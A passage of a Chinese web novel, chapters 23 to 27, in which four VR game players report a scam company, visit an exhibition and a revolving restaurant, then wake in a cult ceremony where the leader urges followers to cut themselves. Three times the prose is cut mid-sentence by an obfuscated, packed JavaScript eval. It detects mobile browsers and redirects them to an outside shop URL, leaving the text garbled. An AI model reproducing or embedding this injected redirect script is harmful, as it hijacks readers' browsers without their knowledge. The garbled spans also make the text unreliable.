“你这个问题就有问题，你应该问的是，这个公司哪里看起来像是真的。对着电脑疯狂打字的不一定就是正经员工，你还要看他脑袋里在想的是什么。至于人事经理的态度，你怎么能让这个来干扰你对工作的判断，你不如问问自己，她为什么无缘无故要对你态度那么好，毕竟她才是权力所在的一方，而你才是被选择的。” “唯月你要说就说清楚呀！” “你自己想吧。” “好吧，我记得的，刚才思婷姐在面试前说仇师傅告诉我们这个公司有问题，但是我进门以后没察觉出来啊，没有什么处于危险情境的迹象，所以我就把它当成单纯的面试场所了。” “不是这个思考方向，也可能是我进门前没有跟大家说清楚。”在和罗小星接触了这段时间之后，我再次感觉到了他的那种小孩子心性，好像没有经过完全的社会化，容易把人事物往好的地方想，“我们的简历应该都是差不多的，没有过硬的学历背景和充分的专业技能储备，正常来说，单单以简历所表现出来的职业素养来看，没有什么正儿八经的企业会录用我们的。” “亲爹亲妈看见你这样的简历都会拒绝聘用你。”唯月补了一句。 “这我倒也知道……所以在被提问的过程中一直都在努力找补。”罗小星有些沮丧地说，他应该是已经回过味儿来了。 “除了之前仇师傅说的那句话提醒了我以外，我也看过类似的新闻，那个办公室的配置看起来特别像是用来网络诈骗的，通过聊天软件挑选目标，利用人性的弱点给受害者设下一个个陷阱，等着人掉进去以后骗人钱财，挣的都是黑心钱。这样的公司录用我们算我们倒霉，我们生下来也不是为了成天去做这些肮脏事的……” 我说完后，罗小星点了点头，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712078|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该被我们说服了。 “还真是啊！”他突然拿起手机看起来，“我收到被录用的讯息提醒了，说我可以马上回到之前的房间，去洽谈录用后的详细事宜。” 很快我们余下的三个人都陆续收到了相同的讯息提醒。 “你要去吗？”唯月问道，“不怕不去就完不成任务了？” “唯月，差不多得了，我没你想象中的那么笨。” 唯月听后轻声笑起来。 “我有个想法，可以试一试。”说罢，我拿起手机拨打了报警电话。我们已经想到了任务完成的目标不是被录用，那我不妨再试一试，是否可以通过其他特定的行为触发完成任务的提示：面对一个这样的网络诈骗公司，我们应该做什么呢？自然是想办法将它绳之以法了。 我的猜测正确，报警电话可以正常拨打出去，而且有警察ＮＰＣ受理报案，在我挂掉电话的那一瞬间，手机再次收到一条讯息： 任务已完成。 “啊呀！这么快就完成了？怎么这次不在队伍频道提醒了？”最高兴的还是要属罗小星，“咦，队伍频道关闭了。” 罗小星又翻了翻手机，“我们的队伍频道应该是迁移到手机里了，你们看，通讯录有我们彼此的名字。等一下，我们还收到了新的讯息啊，是两张邀请券，一个是３０层的未来科技展览，还有一个是６６层的旋转餐厅。哇哦，有展览看诶，还有，什么是旋转餐厅？没听说过！ “兄弟萌，我们要不要去看一看！反正任务也完成了！” “不去，反正任务也完成了。”唯月说完就迈步要走。 我敢打赌他一定又是故意气罗小星。 “呀！思婷姐姐，我们和镜舟大哥一起去吧！行不行？”罗小星不理唯月，转而朝我这边走过来，挽着我的右胳膊。 “去吧，游戏给我们的奖励，为什么不去呢，我也没去过旋转餐厅，镜舟呢，你去过吗？”我望向镜舟。 他摇了摇头。 唯月已经先我们一步到达电梯前，一言不发地站着等电梯，但是当电梯门打开的时候，他走进去替我们按下了第３０层。 “罗小星你别这么看着我，我去过旋转餐厅，而且已经去腻了。” “那你看完３０层的展览之后要干嘛呀？”罗小星笑嘻嘻地看着他，“没有我们陪你，你多无聊呀！” 唯月看了罗小星一眼，“没有你来陪我，我做梦都要笑醒。” 罗小星“咯咯”直乐，又恢复了一贯的快乐模样，“说什么呐，我们本来就在梦里呀。” 出了电梯门，我们踏入第３０层的空间，我们此时面对的是一个全部由ＬＥＤ屏幕组成的五边形隧道，在刚刚踩在五边形底边的时候你还能分清天与地，但当我们再走几步以后，五边形的世界发生了奇妙的旋转，像是一个川流不息的色彩的万花筒。 24. 第 24 章 梦田又在跟我们这些玩家玩起了视觉游戏。 游戏世界的沉浸感一部分原因在于视觉上充分的仿真，比如当我们站在１１１大厦的楼前时，不会想起来自己其实还呆在早已经熟悉得不能再熟悉的家里，而是相信自己眼前的现实。高度适配的视听设备促成了沉浸感的实现，毕竟我们在生活中用到的最多感官就是眼睛和耳朵了。我曾经想过，需要对人的视觉和听觉系统了解到何种程度，才有可能开发出这样配套的设备来呢？这必然是需要大量的生物学前沿科技知识积累，与此同时要想让设备批量化生产，还得达到高端的工业设计和制造水平。 我每天使用ＶＲ眼镜的时候，都感觉自己参与了１个亿美金的大项目，好在即使我不懂它背后的原理，但是我也可以自如地应用，这就是当今瞬息万变的信息化时代给予我的馈赠，当然是一种嘲讽也说不定，因为我总觉得机器比我还要聪明…… “这也太炫目了吧？乱花渐欲迷人眼啊……”罗小星每走一步，逼真的色彩都在涌动，你已经分不清自己站在一个什么样的空间里了，霎时间无法辨别上下左右。 “哟，词汇量还挺丰富。”唯月走在最前方，他似乎对眼前的景象并不感冒。 我和罗小星走起来还是小心翼翼的，因为这种空间界限感的模糊，让我有一种失重的感觉，不知道自己现在是踩在五边形的哪条边上，其实如果闭着眼睛走，安全感还能更高一些。我看了看身旁的镜舟，他也丝毫不受影响。 镜舟发现了我的目光，他伸出右手，掌心向上，“需要帮忙吗？我扶着你。” “不用不用，谢谢镜舟。”我感激地看向镜舟。 还好这段让人不免有些眼花缭乱、天旋地转的隧道很快就走完了，面前是在那种在博物馆里常见的展厅。 “这个展览厅里好安静啊。”罗小星看了看四周，悄声对我说。 “是啊，好像是开了降噪。”因为我独居的缘故，我玩游戏的时候不会受到打扰，听到的除了自己的声音以外就是游戏里设置的各种音效，我平时和人组队的次数较少，不太会想到系统是怎么把队伍玩家的声音收集起来后传导到游戏场景里来的。 但是现在我突然有了一种解释：我不认识现实世界里的罗小星，我猜想戴着ＶＲ眼镜的他肯定是在相信游戏提供给他的视觉场景之后，与我说话。也就是说，虽然实际上我可能与他相隔千里万里，但是这个虚拟的场景把我们的眼睛聚集到一起，我们仿佛出现在同一个空间，虽然面前看到的是游戏画面，是虚幻的，可他方才悄声和我说的这句话却是无比真实的。 我一直都觉得罗小星用了变声器，因为他的声音有些过于夸张了，可是听久了也就习惯了，而且就算用了变声器又怎么样呢？他的语气是真的，声音大小也是真的，我想其中蕴含的感情也必然是真的。 这个寂静的展览室突然让我有些感慨，我好像在回溯自己对于这款游戏的感觉，可是这份激动又不便于表达给罗小星听，总觉得有几分肉麻，而且，好端端的，怕破坏他的游戏体验。我只好跟镜舟说道：“梦田这款游戏真是了不起。” “是的，我一直都是这样想。”这是镜舟给我的回答，我知道他接收到了我想要传达的感受。 “这个展厅里怎么空荡荡的没什么陈列啊？说好的未来科技呢？不应该有一些光怪陆离的展品来吸引眼球吗？怎么也该有一些仿真机器人什么的吧。”罗小星边说边在展厅里转悠。 展厅是一个圆形的空间，高高的穹顶之上装饰有彩绘玻璃，有灯光打下来，正如罗小星所言，这里竟然没有陈列展品。 罗小星沿着展厅的边缘寻找着，墙上能看到暗黄色的大理石纹路，从这个展厅里确实不能让人体会到什么未来感，相反倒是给人一种尘封多年的历史感。 “思婷姐姐，你过来呗，看看这是个什么东西？悬浮在这里，小小的，我差点没发现。” 我闻言走过去，罗小星所说的东西是一个玻璃封住的标本。 “这个好像是……”其实我第一反应看出来那是什么了，但又有点因为惊异而怀疑自己的判断，“这应该是个胚胎标本吧。” “啊？”罗小星愣了一下，“什么意思，会变成婴儿的那种标本吗？” 标本就像是能听到罗小星的话似的，玻璃的外层一点点破裂，小小的胚胎开始生长发育起来，我们如同跑到妈妈的肚子里一样近距离看到胚胎是如何一点点发育成为婴儿的，我们甚至可以听到心脏形成时充满生命力的跳动。 “好神奇啊……这个是可以触摸的吗？” “是全息影像。”唯月给罗小星指了指展厅顶部的几个位置，“那里有放映设备。” “这个场面是不是有一点点奇怪，我们戴着ＶＲ眼镜看全息投影……” “嗯，像俄罗斯套娃。”我对罗小星的看法表示认同，“有点儿双重梦境的意思啊。” 随着一声响亮的啼哭，借助于产科医生的帮助，婴儿被妈妈带到了对他来说全新的世界，本来是单一的影像开始了分裂，婴儿们开始长大，有的婴儿获得了父母的关注，当他们啼哭时，父母会给予安抚或怀抱，有的婴儿则哪怕是哭到筋疲力尽，身边也不曾出现温暖的双手； 婴儿们逐渐成长为男孩子、女孩子，他们开始在学校里学习知识，有的教室明亮宽敞，授课的老师容光焕发，学生们踊跃举手与老师互动；有的教室晦暗逼仄，学生们的眼神中更多的是茫然和无助，黑板面前没有老师，有人走进教室为每一个孩子送上了一份礼物，孩子们打开来发现那是崭新的ＶＲ眼镜，他们试探地戴上，然后影像聚合，所有的孩子都戴上了ＶＲ眼镜，他们面前出现了各种数理化的公式、不同文化的语言、大地山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712079|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川河流、绘画摄影展览的走廊、音乐戏剧表演的剧场…… “这是在让小孩子们玩梦田吗？这有点像是在打广告吧。”罗小星喃喃道。 “……我真服了你了罗小星。”唯月叹息了一声。 “现在ＶＲ眼镜的价格还是挺贵的，不是任何一个家庭都能消费得起的，父母们不可能为了游戏去给孩子们买这个，我觉得这个画面可能呈现的是对未来教育的某种构想，如果沉浸现实技术能应用到教学领域，那么学生们上课一定会变得更有意思一些。” 影像再次分裂，学生们离开校园开始工作，他们出现在各个行业，奔波于家庭与公司之间，全息影像在沿着展厅边缘前进，我们的脚步也跟着移动，影像中的内容多是在畅想沉浸现实技术在各行各业得以发挥作用的可能性，我们跟着这个初生的婴儿从幼年、少年，逐渐走向青年、壮年直至老年，所有的影像最后汇聚成一个圆，正好围绕了展厅一周。 让我印象深刻的一段故事是，走入人生青年时期的主人公，在车祸的剧烈撞击中，脊髓受到了严重损伤，治疗结束后，她是坐着轮椅出院的，可以想见那时候她的表情中充满了悲伤与绝望，但是在她后来参加的康复训练中出现了机械外骨骼，在外骨骼的帮助下，她恢复了站立和简单行走的能力。 当我们走出展厅后我还对这个画面念念不忘，“外骨骼有关的实验我很早就听说过，我们现在能够做到把病人关于行动的想法准确传达给外骨骼吗？” “哪怕是骨骼帮助病人重新站立也是一种进步吧，虽然可能不是自己走，但是骨骼能够带着病人往前移动？就像坐车一样。”罗小星说出了他的理解。 “如果能够这样，当然也很不错，不过，未来科技的氛围就没那么浓了是不是？” “没有那么容易的。”唯月说道，语气难得的严肃，“现在神经医学领域的发展没有人们希望中的那么快，我们对神经系统的了解还远远不够，这种不了解不仅仅是局限在运动领域内。脑机接口这个概念这么多年了也没有落地，大脑的运动信号怎么表达出来，外源设备怎么解读大脑的运动信号，二者怎么连接，这些最基本的问题说起来简单，做起来很难。贸然尝试是危险的，也是对人类的不负责。” “唯月，你正经说话的样子真是让我有点不适应哦……这个展览看得我有点伤感，人的一辈子好短暂，来也匆匆，去也匆匆。不过云游科技的广告打到这里来了确实在我意料之外啊。” 唯月挑了挑眉毛，“这分明是在阐述对未来的设想好不好，你怎么总是抓住广告这两个字不放，罗小星，我不得不怀疑你的理解力。” “如果科技能更多地投放到教育和医疗领域，那么多打点广告也没关系啊。”我笑着说道，“总要有人去做这件事情的，由云游科技来做的话，想想都很不错，我一定会支持的。” 25. 第 25 章 ６６层的旋转餐厅占据了整整一个楼层，和在未来科技展览厅我们遇到的情况不同的是，有彬彬有礼的侍应生和众多的食客陪着我们，虽然都是ＮＰＣ，但营造的氛围和真实的餐厅却没有什么不同。 所谓的旋转餐厅就如同一个横放在６６层轴心的大摩天轮一样，地面正以让人难以觉察的速度缓缓移动，我们四个人坐在舒适的木制座椅上，透过高高的落地玻璃瞭望窗外的风景，暮色开始降临。 罗小星举起水晶香槟杯，看着杯中金色的液体，眯了眯眼睛，他把酒杯拿到面前，抿了一口。 “好酒。”罗小星忽然来了一句，又顺势喝了一大口。 “你又发什么神经呢……罗小星。扮演酒鬼的瘾上来了？”唯月坐在罗小星身旁，面露鄙夷地看着他。 “既来之，则安之嘛。这么好的餐厅，不喝点酒助助兴多没意思呀，再说了，又不是真的酒。” “喝不到你还喝，不得不说你这戏瘾还挺大的。” 罗小星再次举起香槟杯，透过杯子看向唯月，“那你呢，之前说不来，现在不还是被我叫来了么。你看这里多么好的景色，你不来的话，没看到这些可就遗憾了呀。特典活动，可不是时时都有的。再说了，来这么高档的餐厅你怎么什么都不点啊？你看镜舟大哥和思婷姐姐不就喝得挺好的嘛。” 我笑着看了看镜舟，我们四人只有唯月什么都没有点，罗小星点了一杯香槟，我给自己点了一杯卡布奇诺，镜舟和我选的是一样的。 “虽然闻不到、尝不到，但是看得到、握得到。我们三个人都是第一次来这么高大上的地方，什么都不点感觉有些浪费了这次机会哦。”我看着唯月微笑地解释道。 “也许不久以后可以闻得到。”唯月略一思忖，回了一句。 “咦，唯月你这话是什么意思呀？”罗小星一下子来了精神，看着唯月好奇地问道。 “我是说，有可能以后会有嗅觉模拟器呗。” “什么？官网出的消息吗？那太酷了。要是这样的话，那我肯定要点很多好吃的，螺蛳粉也要来一份儿。” “……你就当我什么也没说吧。”唯月转头看向窗外。 “如果嗅觉可以模拟的话，那么是不是以后味觉都可以模拟了？”罗小星双手握着杯子作期盼状，他杯里的酒都已经喝完了。 “这个应该是不可能的吧。”我第一感觉这个很难实现，而且也没必要实现。 “罗小星，你要是想修仙，只要摘掉眼镜在家里辟谷一个月就行了。味觉都能模拟你觉得是什么好事儿吗？这是游戏，别忘了。” “我就是想一想么，这几天为了过任务，在游戏上花费的时间有点多，感觉精神都有点不济了，如果能在游戏里补充补充能量也挺好的。” “别犯傻了，你又吃不到肚子里。该休息就休息，我比你更累，我还没说什么呢。” “你很累？”罗小星语气夸张地说道，“一点看不出来。我也是为了快点过任务嘛，有动力，就不会太辛苦。就算有一点点累，也心甘情愿呢。” “朱雀门的任务完成得还是很顺利的，累了的话我们今天早点下线休息。”我没想到唯月和罗小星会感到疲惫，这几天游戏下来，我自己觉得精力仍旧挺充沛的，只要登录游戏我就感到更开怀一些，反倒是回到家里、上班的时候没精打采的，只想时间快快过去。 “镜舟，你感觉怎么样，你们三个人都别勉强啊。” “没事的。”镜舟摇了摇头。 “唯月呢？”我又转头看向唯月，却发现他正以一种观察什么物品的眼神看向镜舟，镜舟慢条斯理地举起杯子喝了口咖啡，没有与他对视。 唯月的眼神让我感觉有点奇怪，如果有人这样看我我一定忍不住反感，好像我是什么异类。仿佛察觉到了我看向他的目光，唯月突然以一个戏谑的笑容化解，“罗小星少说几句话我就不累了，不然我心累。” “喂喂喂——”罗小星表示抗议，“任务虽然完成了，可是我们没有看到传送点啊，也没有再看到门。这一关里为什么没有给我们玉佩呢，是不是也得打某个副本才能够获得更高奖励？而且，我还有点想看看最高的那层楼，１１１层。” “没有邀请券，未必上得去，倒可以坐电梯试一下。”我顺着罗小星的思路回答道。 “那我们就试一下？要是顶层什么都没有的话，咱们马上下线，明天再看怎么出区域？”罗小星把杯子放下，来了劲头。 “走吧。”唯月率先起身，“及早断了你的念想我们就都可以下线睡觉了。” 罗小星站在电梯前按了向上的按钮，电梯门爬升到我们这一层，当电梯门缓缓打开的时候，我们意外地发现有一位我们都见过的人站在电梯里。 “仇师傅？”罗小星低呼。 仇师傅一身白衣，下巴洁净，他见到我们的时候眼神中流露出一丝惊讶，但他很快就把这份惊讶隐藏起来。并且马上移开视线，不再多看我们任何一人一眼。 “这也是到１１１层的电梯吗？”罗小星发问，但无人回应。 我看到电梯原本就是要往１１１层去的，可奇怪的是，等我们进去，电梯开始上行之后，仇师傅又按了７０层。 罗小星看着仇师傅走出电梯的背影，发着呆，他默默地站着，过了会儿，他转身问我们，“仇师傅有点不对劲，他怎么总也没有离开大厦呢？７０层是做什么的，我们要不要去看看？”罗小星说完就想取消之前点选的楼层。 “你是每一层都想去看看吗？别人要去哪里和你有什么关系。”唯月伸手拦了一下罗小星后，反驳道。 “仇师傅的经历挺坎坷的，现在又被辞退了，也许他会想不开，而且，他说过他没有跳下去的原因是看到了……” “红色的鸟。”我接上罗小星的话头。 “对，血红血红的鸟，和朱雀门是不是有什么关系呢？”罗小星话音刚落，电梯在１１１层停下了，电梯门打开，唯月第一个走出去。 门外的走廊灯光不太明亮，我们四个人走出电梯后发觉这最高的一层也没什么特殊的地方。 毫无预兆的，走廊的灯突然被关掉了。一只戴着白色手套的手捂住了我的嘴，然后眼前便是彻底的黑暗。 我听不到任何声音。 “镜舟？罗小星？唯月？你们能听到吗……”我以极快的语速试探地问道，但是没有听到任何答复。这令人讨厌的黑暗与寂静只持续了几秒钟，我又恢复了正常的视野，但面前的景象却一点都不正常。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712080|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我刚才还在和队友们站在电梯门口的走廊上呢，此刻竟然站在一个病房的床边。病房内有两张床位，但整个屋子里却只有我一个人。屋子里亮着刺眼的白炽灯，但我分不清这里是白天还是夜晚，因为屋子里根本就没有窗户，只有一扇紧闭的门，我想走过去把门打开，动身走了两步后却发现自己右手正吊着两瓶点滴输液，而我身上还穿着医院的病服。 我这是生病了吗？ 这个时候我听到有人开门的声音，一位护士推着一个小不锈钢医用治疗车走进来，她朝我露出一个亲切而甜美的笑容，“２床病人，你该打针了。” 看着她年轻姣好的面庞，听着她温和的话语，我只觉得不寒而栗。我从来没看见过一个护士浑身穿着红色的护士服，连帽子都是红色的。 “我怎么会在这里？我生什么病了？”我后退了几步。 护士小姐依旧维持着她的笑容，并且移动推车向我靠近，她像没有听到我的问话一样。 “你为什么穿着红色的衣服……”我忍不住又问了一句。 护士小姐惊异地看着我，“这不是应该的吗？所有的医生护士都是这么穿的呀。２床病人，你现在的状态需要休息，不要下地走动，主治大夫说你需要镇定下来，这样才有利于术后的恢复。” 我做了一个深呼吸：和护士多说无益，为什么我眼前会突然出现这么离奇的一幕，我的队友们呢？是不是像罗小星说的那样，我走进了一个副本里，那么此刻游戏里出现了什么变化，我应该做什么才能脱离这个幻境，这位护士小姐让我觉得很反常，她的着装让我产生一种莫名的恐惧感。 我检视所有能检视的功能界面，发现战斗系统又一次开放了，和青龙门里探古墓时一样的情况。 护士小姐从治疗车里取出药品和针具，“不要紧张，你现在还处于恢复期。回到床上吧，我们得用药了。”她说话的声音很好听，让人忍不住想服从。 可是我告诉自己不能这么被动，如果她的用药会让角色的生存状态起变化呢，毕竟现在是处于可以战斗的环境啊。我看了下所有我可以使用的技能：医师的技能系统是很简单的，主升加血技能，还有一部分的角色增益技能，等医师等级高了以后还可以学习毒系伤害技能。 青龙门通关以后，我获得了不少技能点，新学习了几项技能，我看到有一个才学不久的“清神明智”，马上就给自己施用上了，我感觉自己现在就像是坠入奇怪的梦中一样，红衣护士就像是噩梦中才会出现的画面似的。顺道我还把所有的增益技能都施放给自己，一会儿护士给我打针之前我看看能不能提高移动速度冲到门口那逃出去。 我关掉技能界面，“清神明智”的施放条件是角色不能移动，我看着护士一点点靠近我，她右手举起针筒，排了排空气。 好在在她距我还有一步之遥的时候，技能释放完毕，我眼前的画面如同被液体溶解一般被替换掉了。 我发现自己正盘坐在一个以红色灯光照明的大厅的一角，镜舟正依靠在我身边，闭着眼睛，紧握着我的手。罗小星和唯月坐在镜舟的左侧，也是如同处于睡梦中一样闭着眼睛。 大厅里的地面上全是匍匐的人，他们跪拜在地上，口中念念有词，整个大厅回荡着信众低语的声音。 26. 第 26 章 这个大厅在我看来俨然是一个红色的祭坛，棚顶极高，仰面望去，最中心处乃是一个尖顶，让人的视线自觉地集中到一处。大厅的正前方悬挂着一个巨幅的白色幕布，上画一只红色巨鸟，双翼展开，颈部侧转，像是对这个人间不屑一顾。信众们都穿着同样的衣服，白衣白裤，整齐划一。一个个身体都跪拜着朝向巨鸟，神情肃穆的同时低着头喁喁低语，似乎在祷告一般，他们的专注向外传递出一种不允许任何人前来打扰的严肃。 大厅没有窗户，原本应该是窗户的地方全被深红色的厚重窗帘层层遮挡，每个窗帘前方都摆放了一张造型古朴的长桌，上面点燃着密密麻麻的红色蜡烛。长桌附近聚集了一些信众，他们人数较少，虽然也是面向前方，但明显与大厅中央的人群分割开来。 空气中浮沉着若有若无的烟雾，人们的白衣也反射着红色的光，大厅之内如同一个巨大的胶片冲洗室。 只有我们四个人孤零零地呆坐在一角，我眯着眼睛对着镜舟他们施放技能，害怕被谁察觉我已经苏醒，我想队友们也许像我刚才一样被困在了梦魇之中。在这个空间中我没有武器可以使用，连梅花针也消失不见，所谓的施放技能从表面看起来更像是在做冥想。施法的我正在抬头挺胸，凝神屏气，动弹不得，而被我施法的人也变成和我一样的姿势。也许这就是现代意义上的精神治疗术吧。 治疗术一次次施放完毕，我的伙伴们渐次苏醒，镜舟一醒来就神色焦急地四处寻找，见我正在注视着他，才放松下来。我拍了拍他的肩膀，向他摇了摇头示意我没事。噩梦总是可怕的，醒来后难免心有余悸，我理解镜舟也需要花一点时间平复。 罗小星瑟缩着身子，警觉地观察四周后，声音细微但语气急切地感叹道，“吓死我了吓死我了！这是恐怖游戏吗？刚才那白手套是从哪冒出来的，谁在电梯前埋伏我们啊？那些医生护士的衣服为什么是大红色，好反常，说好的白衣天使呢？虽然他们说话都很和蔼，可我就是瘆得慌，好好的医院弄得像监狱一样，护士非要把我按在手术台上给我打针！我才不要呢，最讨厌打针了！有个男医生戴着大口罩，手里拿着刀啊剪子啊，我感觉我要被人开膛破肚了。 “我们这是在哪里，还是在１１１层吗？”罗小星说完把身体向我挪了挪。 “我也只是猜测罢了，刚出电梯的时候就像是被人下了药一样，一睁眼就换了个场景。如果不是我试了试新学的技能，可能我也要被强行留在那个怪异的病房里。清醒后，我发现你们都在我周围，幸好这个技能对大家都是有用的，不然你们被困在里面我也不知道要怎么办才好。” “队伍里的医师关键时候真是太有用啦，但还得是像思婷姐这样的好医生才行，刚才那样的医生我再也不要看到了！”罗小星也发现了大厅中的幕布，他端详了一下，“这里的气氛不亚于那个医院啊，瘆人吧啦的，怎么看怎么像电影里的邪教团体一样，我们现在要不要起来去探一探究竟是怎么回事，总是呆在这也不是个办法啊，过一会儿还不知道他们要把我们怎么样。” “罗小星啊，你也就是在电影里见过真正的邪教吧。”随着我的施法结束，唯月缓缓睁开眼睛，漫不经心地搭腔道，不得不说他对待噩梦的镇定程度是我们四个人中最高的。 “太平盛世，没见过这个也很正常呀，难道说，唯月你参加过真正的邪教？”罗小星双手握拳作震惊状。 唯月调整了下坐姿，朝罗小星翻了下白眼，不得不说，唯月这个人做什么动作都挺优雅范儿的，即使是翻白眼也是好看的。 “先别闹呀你俩，我也是在抓紧时间观察，我们先不要轻举妄动，你们看到跪拜在蜡烛周围的那些人了吗？发现了没有？他们是不是都戴着白手套。我猜测他们应该有攻击力，类似于使人陷入幻觉的那种技能，手套可能就是他们的武器，我们刚才就是被这手套捂住嘴才犯了迷糊。咱们得好好提防，我刚清醒过来使用技能的时候就注意尽量控制动作，不被别人发现。再者，我还有一个担忧，其他的信众，我不知道会不会帮着白手套对付我们，这里人那么多，我们几个人势单力薄的，不是对手啊。” “哇，思婷姐你观察真到位，那些人真的都戴着白手套，你不说我都没注意到。好消息是他们的视线好像都不在我们这呀，不过他们也肯定没想到我们队伍这么强，会这么快就苏醒过来。我还有一个好消息，我想我们应该是闯进朱雀门的副本了。” “罗小星，都这个时候了，你竟然心态还挺积极，左一个好消息，又一个好消息，要知道副本能不能过还不一定呢。”唯月轻声说。 “一定可以。我有信心。” “安静。”镜舟突然出声提醒道。 他话音刚落下，所有的信徒突然站了起来，双手高举，我感觉身旁的镜舟身体也随之紧绷起来。 我也以为马上就要进入战斗状态了，想赶快检视下自己的战斗系统，翻翻背包找找顺手的武器。一种辽阔的寂静把我的意识拉了回来。信徒们忽然之间全体沉默了，一点声音都没有， 他们轻轻地把举过头顶的双手缓缓放下来，大厅最前方不知什么时候出现了三面大鼓，每面大鼓的正前方都站着一位身材结实的鼓手。 鼓声倏然响起，三面鼓齐声震动，鼓声每响起一次，人群就怒吼一声。鼓声和吼声如同拥有了实体，在一次次用力地敲击着我的耳膜。 这个场面太有感染力了，我像被一种无形的声浪压得说不出话来，而且，不知怎的，竟然有一种想让自己的声音也融入他们鼓声的冲动。一个苍凉而悲悯的女声吟唱渐渐响起，声音由小及大，怒吼声不见了。我知道声音就出在人群中，可是再怎么努力寻找也找不到对应的来源。吟唱非常原始，并没有使用任何的语言，但曲调又传递出无法恢散的哀愁，甚至可以说是绝望。 独唱逐渐被合唱取代，女声不再那么突出，但依旧不绝于耳，她仿佛在引领着众人的吟唱。 过了不知道多久，声音消失了，又是那种辽阔的寂静，所有的信众盘坐在地板上。 我这个时候才发现有一个人已经从红色巨鸟的幕布后面走出来，同样身穿白衣，他脚步不急不缓，在众人的注视下，依然不改节奏地迈着沉着的步伐，闲庭信步不过如此，好像他已经习惯了所有目光的注视，是一个天生的领导者。此人立定站在众人的面前，神色自若地双手合十，低头行礼，少顷，慢慢抬起头来，而这时我终于看清了他的五官，虽然不敢相信，但事实摆在眼前，那人竟然就是仇师傅。那个原本唯唯诺诺、神神叨叨，在他人的口中是一个怪人兼可怜人的仇师傅。 “神鸟降世，普度众人。”他 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“我们的身体是苦弱的承载，疾病是神鸟的食物。吞噬痛苦，方能振翅飞翔！”大厅内的烟雾说话间突然变得浓烈，白色的烟雾弥漫在每个人的周围，越聚越多。 “这烟雾有点不对劲。”我说不出来什么道理，只觉得随着烟雾的聚集，这些信众们的身体开始有轻微的摇摆，我仔细看去，他们的双手好像都在不受控制地抖动。 烟雾逐渐向我们所在的地方一点点溢出，即将覆盖整个地面。 “鲜血！疾病总是藏匿在鲜血之中！” 仇师傅疯狂地撸起自己的袖子，把自己的小臂展示给所有人看，那上面赫然遍布着疤痕，像是被锋利的尖刀划过，一道又一道，新的刀疤覆盖旧的刀疤，触目惊心。 “如众位所见，我得神鸟启示。我的母亲本已病入膏肓，不久于人世！承蒙神鸟垂怜，在我即将放弃一切之时，为我指明道路。只有引我之鲜血，才能驱逐顽疾，神鸟将吞噬痛苦，还鲜血以纯洁！” 他左臂挥向右臂，仿佛手持无形之刃，切割着自己的皮肤。 “他们要干什么？”罗小星低呼道。 信众们在蛊惑下竟然纷纷不知从什么地方掏出一把水果刀一样的利刃，毫不迟疑地准备切割自己的皮肤。 烟雾已经飘散过来，“不能再等了，我们必须马上找到出口。”我连忙站起来，这烟雾看起来像有诱导的作用，也许同时还会麻痹人的身体。我试着张开自己的十指，此时我清晰地看到自己的动作变缓，意识不能即时地传达到肢体上。触觉手套不会突然坏掉，这一定是游戏的动作设计，再不行动，就要坐以待毙了。 “视线中的墙壁上没有出口，唯一可能的逃离位置就是在幕布后方。”镜舟率先站了起来，他看向幕布说出他的判断。 “那还等什么！咱们赶紧离开这个诡异的地方。疯了疯了，都疯了。他们是不是都中邪了。”罗小星紧随其后。 要想到达幕布的后方，肯定无法避开众人的目光，不过这个时候我们也顾不上这么多了，我们纷纷踏入烟雾之中。这烟雾果燃会降低人的行动力，我们的步伐都不受控制地变得迟缓。我只能再次试图用技能清除这种负面的缓行状态。 “那些人怎么醒了？”果不其然，有个戴白手套的信众发现了我们。 27. 第 27 章 我们四个人集中在一起，想先沿着大厅的边缘移动到前方，靠近长桌的白手套们是距离我们最近的，周围的白手套放下手中的小刀，把注意力放在我们身上。 “抓住他们！” 我还在试技能呢，但这一次没一个好用的。 “糟了，所有的治疗术都没用！”我焦急道，与此同时还是尽力向前。 “怎么只有这些白手套发现我们？其他人难道看不到？” 罗小星的疑问还真是提醒了我，除了白手套以外，那些信众丝毫没有对这场追逐产生任何兴趣，他们根本没有看向我们这些身穿“奇装异服”的外来者，仍旧自顾自地忙着伤害自己。 “这下完了。这种速度没办法到达终点啊，一定会被追上的……武器和战斗技能全都用不了。”罗小星沮丧起来。 白手套们很快就把我们围起来了，可以说是不费吹灰之力，他们的行动似乎完全没有受到什么影响，追我们这几个步履缓慢的、移动速度连跑步都算不上的闯入者实在是太容易了。我有些绝望地看着这些白手套，镜舟站在我身边，半个身子向前护住了我，我在他的臂膀后面感觉没那么恐惧了。忽然间，我在白手套中发现了一张熟悉的面孔：是我们最初在大厦见到的善良的胖保安！ 